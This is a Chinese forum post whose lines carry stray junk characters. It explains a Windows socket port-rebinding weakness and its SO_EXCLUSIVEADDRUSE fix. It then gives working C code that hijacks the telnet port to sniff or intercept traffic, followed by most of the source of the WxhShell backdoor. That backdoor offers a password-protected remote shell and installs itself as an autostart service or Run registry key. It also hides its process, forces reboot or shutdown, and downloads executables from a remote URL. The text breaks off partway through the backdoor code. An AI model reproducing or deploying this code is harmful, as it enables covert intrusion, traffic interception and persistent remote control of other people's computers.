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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q%MLj./?[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tCr? !Y~  
7)y +QU]  
  saddr.sin_family = AF_INET; m/NXifi8l  
{iVmae  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xu* dPG)v  
6q~*\KRk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CL"q "  
(W_U<~`t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iFaC[(1@a  
z229:L6"  
  这意味着什么?意味着可以进行如下的攻击: BY??X=  
n; *W#c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3+iQct[  
S$i3/t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,98`tB0  
vaj-|&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ozs&YZ  
>A1;!kGE#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @8V~&yqq  
gR8vF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L@8C t  
 WfkP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FY<77i  
xi"Ug41)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =idZvD  
"6o5x&H  
  #include C/A~r  
  #include #nJ&`woZt  
  #include JbEQ35r  
  #include    is}Y+^j.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [Xo}CU  
  int main() #BX^"J{~  
  { N!^5<2z@eT  
  WORD wVersionRequested; kS$m$ D  
  DWORD ret; a1# 'uS9W  
  WSADATA wsaData; ;U$EM+9  
  BOOL val; ]$?\,`  
  SOCKADDR_IN saddr; f)!7/+9>  
  SOCKADDR_IN scaddr; %R LGO&  
  int err; f2RIOL,  
  SOCKET s; o:Q.XWa@MG  
  SOCKET sc; jd?NN:7  
  int caddsize; {-)*.l=  
  HANDLE mt; x>~.cey  
  DWORD tid;   =CjN=FM  
  wVersionRequested = MAKEWORD( 2, 2 ); nwPU{4#l<  
  err = WSAStartup( wVersionRequested, &wsaData ); UvM_~qo  
  if ( err != 0 ) { dLy-J1h\  
  printf("error!WSAStartup failed!\n"); {]dH+J7  
  return -1; .3,6Oo  
  } \P7y&`|  
  saddr.sin_family = AF_INET; vP{;'R  
   P0XVR_TJf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b#E!wMClS  
1PjqXgN5p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Blnc y  
  saddr.sin_port = htons(23); uQtwh08i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mY,t]#^m7  
  { #~`]eM5`J  
  printf("error!socket failed!\n"); keL!;q|r-)  
  return -1; ?tFsSU  
  } .q9wyVi7GI  
  val = TRUE; ~Y'j8W  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >PMLjXK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5WG:m'$$  
  { 9V( esveq  
  printf("error!setsockopt failed!\n"); ?br4 wl  
  return -1; [u}2xsSx  
  } &%`Y>\@f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /f) #CR0$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 It3.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mY !LGN  
<<.%Gk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7__?1n~{  
  { >@c~M  
  ret=GetLastError(); _4#&!b6  
  printf("error!bind failed!\n"); gtV*`g  
  return -1; 3&z.m/  
  } rE&+fSBD  
  listen(s,2); >*cg K}!@  
  while(1) =Frbhh57  
  { p$*;>YKO  
  caddsize = sizeof(scaddr); za oC  
  //接受连接请求 Wx-vWWx*Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wx%TQ!  
  if(sc!=INVALID_SOCKET) -C<Ni  
  { hpOUz%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "[BDa}Il  
  if(mt==NULL) Kk_h&by?  
  { }MV=I$S2U  
  printf("Thread Creat Failed!\n"); Ar VNynQ  
  break; 8  }(ul  
  } s/J/kKj*s  
  } dT*8I0\+  
  CloseHandle(mt); rc9Y:(S1l  
  } #cD20t  
  closesocket(s); 8Q Nd t  
  WSACleanup(); ;_hL  
  return 0; iu(+ N~  
  }   #J<IHNRt  
  DWORD WINAPI ClientThread(LPVOID lpParam) {-?8r>  
  { &\/b(|>  
  SOCKET ss = (SOCKET)lpParam; 8x9$6HO  
  SOCKET sc; {IpIQ-@l  
  unsigned char buf[4096]; e=%6\&q  
  SOCKADDR_IN saddr; `[zd  
  long num; ]~A<Q{  
  DWORD val; ZT'Sw%U:  
  DWORD ret; 2?bE2^6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +|=5zWI /  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7yK1Q_XY>  
  saddr.sin_family = AF_INET; 8${Yu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eX@7f!uz  
  saddr.sin_port = htons(23); J \V.J/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3Ta<7tEM  
  { Cq-#| +zr  
  printf("error!socket failed!\n"); .6D9m.Q,  
  return -1; }lzN)e  
  } ]9}T)D f'  
  val = 100; `bF] O"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WDdp(<  
  { _p`@/[(|  
  ret = GetLastError(); s"solPw  
  return -1; )QvuoaJQ  
  } + $x;FT&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A->y#KQ  
  { Ft)Z'&L   
  ret = GetLastError(); J|BZ{T}d  
  return -1; 0piBK=tE/  
  } P_w\d/3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _,i+gI[  
  { k-LT'>CWl  
  printf("error!socket connect failed!\n"); A|esVUo<3^  
  closesocket(sc); ?$T39U^  
  closesocket(ss); 96.z\[0VZ  
  return -1; qJ|n73yn  
  } r4D 6I,  
  while(1) -MqWcB9&  
  { C,!}WB@VME  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E(&GZ QE  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G2,r %|7ta  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ph&fOj=pFb  
  num = recv(ss,buf,4096,0); Sp]i~#q_'  
  if(num>0) P;dp>jL  
  send(sc,buf,num,0); .u_k?.8|  
  else if(num==0) XFg.Z+ #  
  break; 0kD8wj%  
  num = recv(sc,buf,4096,0); Z{w{bf1&A  
  if(num>0) kH43 T  
  send(ss,buf,num,0); ;Q]j"1c  
  else if(num==0) %YaUc{.%  
  break; ^3-Wxn9&  
  } ($oO, c'z  
  closesocket(ss); _0rHxh7}q  
  closesocket(sc); w$5N6  
  return 0 ; _uO#0 )l  
  } |@-%x.y  
i~IQlyGr.  
B9 Dh^9?L  
========================================================== Qw$"W/&X  
r $du-U  
下边附上一个代码,,WXhSHELL q-.e9eoc\  
$<UX/a\sH  
========================================================== 0)8QOTeT  
ItTIU  
#include "stdafx.h" J L9d&7-  
J9LS6~ 7  
#include <stdio.h> I@=h|GM  
#include <string.h> X'&$wQ6,K  
#include <windows.h> TgaDzF,j{A  
#include <winsock2.h> / -=(51}E  
#include <winsvc.h> jz[|rwAp  
#include <urlmon.h> 9rb/hkX&  
.'SXRrn&:C  
#pragma comment (lib, "Ws2_32.lib") 3_atv'I  
#pragma comment (lib, "urlmon.lib") 4Pljyq:  
<(JsB'TK  
#define MAX_USER   100 // 最大客户端连接数 n/"T7Y\2  
#define BUF_SOCK   200 // sock buffer 6Upg\(  
#define KEY_BUFF   255 // 输入 buffer wE75HE`gW  
/s%I(iP4  
#define REBOOT     0   // 重启 1>*]jj}  
#define SHUTDOWN   1   // 关机 >5Zp x8W  
^gFjm~2I  
#define DEF_PORT   5000 // 监听端口 6,xoxNoPP3  
g)'tr '  
#define REG_LEN     16   // 注册表键长度 K.2M=Q  
#define SVC_LEN     80   // NT服务名长度 %f;(  
f*~ 4Kv  
// 从dll定义API %uGA+ \b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @"s\eL,r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5Ag>,>kJ6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xl6)&   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qD\%8l.]Z  
oQDOwM,  
// wxhshell配置信息 co3H=#2a  
struct WSCFG { \i-jME(sN  
  int ws_port;         // 监听端口 c 3@SgfKmk  
  char ws_passstr[REG_LEN]; // 口令 Vk_*]wU  
  int ws_autoins;       // 安装标记, 1=yes 0=no |Z;w k&  
  char ws_regname[REG_LEN]; // 注册表键名 GtO5,d_  
  char ws_svcname[REG_LEN]; // 服务名 !9"R4~4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {I 7pk6Qd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ` OQ&u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ](0 Vm_es  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x#0C+cU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2al~`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >V(2Ke Y  
ke>\.|HT}  
}; Gx ZQ{ \  
*vhm  
// default Wxhshell configuration tL+8nTL  
struct WSCFG wscfg={DEF_PORT, z s"AYxr  
    "xuhuanlingzhe", pOI+  
    1, `Ik}Xw  
    "Wxhshell", 73~Mq7~8  
    "Wxhshell", |->y'V  
            "WxhShell Service", F.8{ H9`  
    "Wrsky Windows CmdShell Service", w=e,gNO  
    "Please Input Your Password: ", N0RFPEQ~  
  1, F'CUkVC0~P  
  "http://www.wrsky.com/wxhshell.exe", |V 9%@ Y?  
  "Wxhshell.exe" %Y Rg1UKY  
    }; * Kzs(O  
@@|E1'c7  
// 消息定义模块 s*CKFEb#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G P1>h.J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a`pY&xq::  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eZHzo  
char *msg_ws_ext="\n\rExit."; G^mk<pH  
char *msg_ws_end="\n\rQuit."; N2&aU?`e  
char *msg_ws_boot="\n\rReboot..."; P'9aZd  
char *msg_ws_poff="\n\rShutdown..."; 4_.k Q"'DH  
char *msg_ws_down="\n\rSave to "; jPU# {Wo#  
}2c}y7B,_  
char *msg_ws_err="\n\rErr!"; Br~%S?4"o  
char *msg_ws_ok="\n\rOK!"; JNp`@`0V  
g[M@  
char ExeFile[MAX_PATH]; bOz\-=au  
int nUser = 0; <uTsX v  
HANDLE handles[MAX_USER]; )vU{JY;  
int OsIsNt; ^Js9E  
3+|6])Hi1  
SERVICE_STATUS       serviceStatus; @$+[IiP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6$6NVq  
, ;d9uG2  
// 函数声明 <dYk|5AdLF  
int Install(void); j=AJs<  
int Uninstall(void); G>RYQ{O  
int DownloadFile(char *sURL, SOCKET wsh); x b0+4w|  
int Boot(int flag); ; %Da {  
void HideProc(void); \~)573'  
int GetOsVer(void); ^w12k2a  
int Wxhshell(SOCKET wsl); <@vE 3v;  
void TalkWithClient(void *cs); #wjBMR%  
int CmdShell(SOCKET sock); Ys_YjlMIbl  
int StartFromService(void); Gj ^bz'2  
int StartWxhshell(LPSTR lpCmdLine); H);'\]_'x  
,){0y%c#y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cY"^3Ot%^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W_ 6Jl5]  
Q]7Q  
// 数据结构和表定义 K`X2N  
SERVICE_TABLE_ENTRY DispatchTable[] = "|G,P-5G"  
{ lhI;K4#  
{wscfg.ws_svcname, NTServiceMain}, sR 9F:  
{NULL, NULL} $F-XXBp  
}; )g --=w3  
``<1Lo@  
// 自我安装 Yq^y"rw  
int Install(void) 1}uDgz^  
{ `@e H4}L*  
  char svExeFile[MAX_PATH]; +n,BD C;  
  HKEY key; |i`@!NrFL  
  strcpy(svExeFile,ExeFile); gCJ'wv)6|%  
:}JZKj!}M  
// 如果是win9x系统,修改注册表设为自启动 'MUrszOO.e  
if(!OsIsNt) { kUUq9me&o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uJOW%|ZN`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *02( J  
  RegCloseKey(key); cMl%)j-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qj6`nbZ{va  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yx2.7h3  
  RegCloseKey(key); 6b/b} vl  
  return 0; Ds87#/Yfv  
    } Flxo%g};  
  } -"e}YN/  
} @;6}xO2  
else { !T*B{+|  
gxOmbQt@;  
// 如果是NT以上系统,安装为系统服务 +_eb*Z`5o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \Wc/kY3&  
if (schSCManager!=0) gn"&/M9E  
{ i'wF>EBz  
  SC_HANDLE schService = CreateService r(i)9RI+(  
  ( ^I{]Um:  
  schSCManager, :6?&FzD`  
  wscfg.ws_svcname, C):d9OI?  
  wscfg.ws_svcdisp, h`]/3Ma*:  
  SERVICE_ALL_ACCESS, IBkH+j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , : xZC7"  
  SERVICE_AUTO_START, ?Q)Z..7  
  SERVICE_ERROR_NORMAL, wWw/1i:|'  
  svExeFile, }qv-lO  
  NULL, j#,M@CE  
  NULL, 0xUj#)  
  NULL, (u&yb!`  
  NULL, O{#Cddt:r  
  NULL ;CMC`h9,  
  ); Ro]IE|Fv  
  if (schService!=0) K=x1m M+RK  
  { )m8>w6"  
  CloseServiceHandle(schService); oRThJB  
  CloseServiceHandle(schSCManager); [ |n-x3h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M5kHD]b  
  strcat(svExeFile,wscfg.ws_svcname); m]d6@"Z.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5?L:8kHsH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DD 5EHJR  
  RegCloseKey(key); pE/3-0;}N  
  return 0; SP7g qM  
    } @Q\$dneY  
  } = )l:^+q  
  CloseServiceHandle(schSCManager); 'Y{ux>  
} sQAc"S  
} pt%~,M _  
SE9u2Jk  
return 1; $;i$k2n:  
} 11<@++,i  
5rA!VES T  
// 自我卸载 g~hk-nXL.  
int Uninstall(void) e1^{  
{ 8^/Ek<Q b|  
  HKEY key; VgsCwJ9w  
5'c+313 lm  
if(!OsIsNt) { ^ $+f3Z'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8wpwJs&V  
  RegDeleteValue(key,wscfg.ws_regname); /N[o[q  
  RegCloseKey(key); 5f&{!N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FHNuMdFn  
  RegDeleteValue(key,wscfg.ws_regname); zHoO?tGf  
  RegCloseKey(key); ooU Sb  
  return 0; v8[ek@  
  } yp2'KES>  
} ?Y6la.bc{  
} AV[PQI  
else { lmtQr5U  
iWN.3|r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `b#nC[b6|v  
if (schSCManager!=0) `k{ff  
{ *VC4s`<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;TV'PJ  
  if (schService!=0) ^W[B[Y<k  
  { Q0q)n=i }]  
  if(DeleteService(schService)!=0) { (ln  
  CloseServiceHandle(schService); dy6F+V\DG  
  CloseServiceHandle(schSCManager); 4&]To@>  
  return 0; Tu= eQS|'  
  } Sp`fh7d.(  
  CloseServiceHandle(schService); tU)r[2H2  
  } M~z (a3@[V  
  CloseServiceHandle(schSCManager); 4-d99|mv  
} ,LW(mdIe(  
} HzG~I8o(d  
DNm7z[ t{  
return 1; N1+4bR  
} c5iormb"#  
,p*ntj{  
// 从指定url下载文件 0.u9f`04  
int DownloadFile(char *sURL, SOCKET wsh) / UaNYv/  
{ :rTKqX&"j  
  HRESULT hr; QSn;a 4f  
char seps[]= "/"; v't6 yud  
char *token; 7>t$<J  
char *file; s;-78ejj7  
char myURL[MAX_PATH]; A4#3O5kij  
char myFILE[MAX_PATH]; 6cQeL$,SQ  
oieQ2>lYh  
strcpy(myURL,sURL); eHR&N.2  
  token=strtok(myURL,seps); J:g<RZZ1  
  while(token!=NULL) _>jrlIfc  
  { U+9- li  
    file=token; ~ C/Yv&58  
  token=strtok(NULL,seps); [U%ym{be ^  
  } ]5o0  
) 8x:x7?  
GetCurrentDirectory(MAX_PATH,myFILE); 0.J1!RIK/  
strcat(myFILE, "\\"); Y-Ziyy  
strcat(myFILE, file); up+.@h{  
  send(wsh,myFILE,strlen(myFILE),0); $ ,; ;u:-  
send(wsh,"...",3,0); BGlGpl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zqekkR]  
  if(hr==S_OK) v2M"b?Q  
return 0; p@cfY]<7  
else q9>Ls-k  
return 1; *2qh3  
#L@} .Giz  
} )Y&MIJ7>@  
jy\W_CT  
// 系统电源模块 RsqRR`|X?  
int Boot(int flag) c W81  
{ iXUWIgr  
  HANDLE hToken; tsTR2+GZS  
  TOKEN_PRIVILEGES tkp; ShL1'Z} ^{  
rQu  
  if(OsIsNt) { u"`5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }j+~'O4m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hk<X  
    tkp.PrivilegeCount = 1; [+hy_Nc$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b{~fVil$y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 90  
if(flag==REBOOT) { .DgoOo%?"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8Zcol$XS'  
  return 0; #d }0}7ue  
} nwa\Lrh  
else { |_l<JQvf`E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `FZ(#GDF  
  return 0; Ez zTJ>  
} tj#=%m?8V;  
  } m.1LxM$8  
  else { a(PjcQ4dY  
if(flag==REBOOT) { VKq0 <+M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SL[rn<x|  
  return 0; @IEI%vH  
} C/mg46 v2W  
else { R<0Fy=z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J}x>~?W  
  return 0; _ oQtk^fp  
} ^7i^ \w0  
} *e(:["v  
>}-~rZ  
return 1; 4fu'QZ(}  
} ?wGiog<Q{  
"sFW~Y  
// win9x进程隐藏模块 ^dFh g_GhF  
void HideProc(void) \BN|?r$a  
{ ?RZq =5Um&  
[yO=S0 e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _aVJ$N.  
  if ( hKernel != NULL ) 6{5q@9F  
  { IM@"AD52a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zx ct(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ' be P  
    FreeLibrary(hKernel); 4O$mR  
  } 1v;'d1Hg;  
VMaS;)0f@  
return; L30>| g  
} 0('OyH)  
$kD7y5  
// 获取操作系统版本 E|Q{]&$;Z"  
int GetOsVer(void) )\8URc|J  
{ -oU@D  
  OSVERSIONINFO winfo; \^Ep>Pq`]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tJff+n>  
  GetVersionEx(&winfo); 1Wv{xML"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dAL0.>|`0  
  return 1; yb69Q#V2  
  else IDj_l+?c  
  return 0; X2i*iW<  
} f(!E!\&n^  
pQqbZ3]  
// 客户端句柄模块 =D{B}=D\IM  
int Wxhshell(SOCKET wsl) 8B j4 _!g  
{ l`DtiJ?$$0  
  SOCKET wsh; \$j^_C>  
  struct sockaddr_in client; mU>&ql?e  
  DWORD myID; 5bXHz5i  
i^R{Ul[  
  while(nUser<MAX_USER) Bw6L;Vu  
{ Hc M~  
  int nSize=sizeof(client); kQy&I3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }X.>4\B5  
  if(wsh==INVALID_SOCKET) return 1; sA3UeTf  
.x EJaID\N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =9^Q"t4  
if(handles[nUser]==0) 21 ViHV  
  closesocket(wsh); B "*`R!y  
else l^ARW E  
  nUser++; \9'!"-i  
  } 7^Na9]PY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~> PgJ ^G  
-]/7hN*v  
  return 0; pL! a  
} @^'$r&M  
wDMjk2 YN  
// 关闭 socket BMdSf(l  
void CloseIt(SOCKET wsh) 6ga5^6W  
{ *o!l/>4g  
closesocket(wsh); @7fm1b  
nUser--; :\ mRtVH  
ExitThread(0); k}HQq_Y(<  
} Lbsr_*4t  
9^au$KoU  
// 客户端请求句柄 +>4^mE" \  
void TalkWithClient(void *cs) []"=]f{1};  
{ U-eI\Lu  
+1/b^Ac  
  SOCKET wsh=(SOCKET)cs; +qhnP$vIe  
  char pwd[SVC_LEN]; )yrAov\z*  
  char cmd[KEY_BUFF]; ./7v",#*.'  
char chr[1]; Sl"BK0:%7  
int i,j; K^aj@2K{  
nS.2C>A  
  while (nUser < MAX_USER) { 9KyZEH;pY  
BRa{\R^I  
if(wscfg.ws_passstr) { ' l|R5   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FN!1| 'VK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '#W_boN  
  //ZeroMemory(pwd,KEY_BUFF); W^k,Pmopy  
      i=0; iV!@bC,  
  while(i<SVC_LEN) { 5}XvL'  
1q] & 7R  
  // 设置超时 uH\w.  
  fd_set FdRead; 4%J|DcY2  
  struct timeval TimeOut; &wjB{%  
  FD_ZERO(&FdRead); +xZQJeKb  
  FD_SET(wsh,&FdRead); IC/Q  
  TimeOut.tv_sec=8; LWD#a~  
  TimeOut.tv_usec=0; nv)))I\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w.uK?A>W,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hg8Be6G <  
DvYwCgLR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %'0&ElQ  
  pwd=chr[0]; yUe+":7k.  
  if(chr[0]==0xd || chr[0]==0xa) { =Dk7RKoHF  
  pwd=0; @\jQoaLT$_  
  break; yj zK.dM  
  } @1g&Z}L o  
  i++; 5kn+ >{jh`  
    } |1Hc&  
0% +'  
  // 如果是非法用户,关闭 socket 8_a3'o%5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `%=<R-/#7S  
} iP#=:HZu;  
J {tVa(.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qjAh6Q/E`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *ik/p  
#tDW!Xv?  
while(1) { Y)Tl<  
5g>wV  
  ZeroMemory(cmd,KEY_BUFF); YE\K<T jH  
'$[Di'*;  
      // 自动支持客户端 telnet标准   `Mk4sKU\a  
  j=0; qfr Ni1\9-  
  while(j<KEY_BUFF) { ^A!$i$NON  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Wn Q   
  cmd[j]=chr[0]; PsbG|~  
  if(chr[0]==0xa || chr[0]==0xd) { 2h q>T&8  
  cmd[j]=0; !Lkm? (_  
  break; "Pj}E=!k  
  } \$pkk6Q3,w  
  j++; Qqq <e  
    } bX2"89{  
3m=2x5 {L  
  // 下载文件 ~O03Sit-  
  if(strstr(cmd,"http://")) { v{y{sA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J(s;$PG  
  if(DownloadFile(cmd,wsh)) 'N6 S}w7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $r79n-  
  else /oL8;:m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1bSD,;$sQ  
  } `R+,1"5=  
  else { QVtM.oi!Q  
au$"B/  
    switch(cmd[0]) { AVFjBybu9  
  J@]k%h  
  // 帮助 w4%AJmt  
  case '?': { {Uq:Xw   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H;S%Y`V  
    break; NY!jwb@%  
  } fu]N""~  
  // 安装 ipjkZG@  
  case 'i': { 3Aj*\e0t  
    if(Install()) o`6|ba  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }l;Lxb2`  
    else ~pz FZ7n4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tsv$r$Se  
    break; Lgi[u"Du  
    } _~M^ uW^l  
  // 卸载 +S9PML){h  
  case 'r': { 8omC%a}9m  
    if(Uninstall()) SlaDt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nfn(Xn*J-  
    else :2y"3azxk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sbS~N*{E  
    break; ROdK8*jL  
    } DDeE(E  
  // 显示 wxhshell 所在路径 50n}my'2h  
  case 'p': { z-,VnhLx  
    char svExeFile[MAX_PATH]; d,9`<1{9  
    strcpy(svExeFile,"\n\r"); 8l>CR#%@C  
      strcat(svExeFile,ExeFile); ' ~Q2!F  
        send(wsh,svExeFile,strlen(svExeFile),0); YI@Fhr &NU  
    break; }V`mp  
    } lZWX7FO'  
  // 重启 OYmi?y\  
  case 'b': { >NM\TLET~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bs!4H2@{(]  
    if(Boot(REBOOT)) FxRXPt FK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !')y&7a~  
    else { n]N96oD  
    closesocket(wsh); Zj VWxQ  
    ExitThread(0); L1 #Ij#  
    } r;m`9,RW  
    break; |vILp/"9=W  
    } %*W<vu>H  
  // 关机 SEd5)0X^  
  case 'd': { J|~26lG  
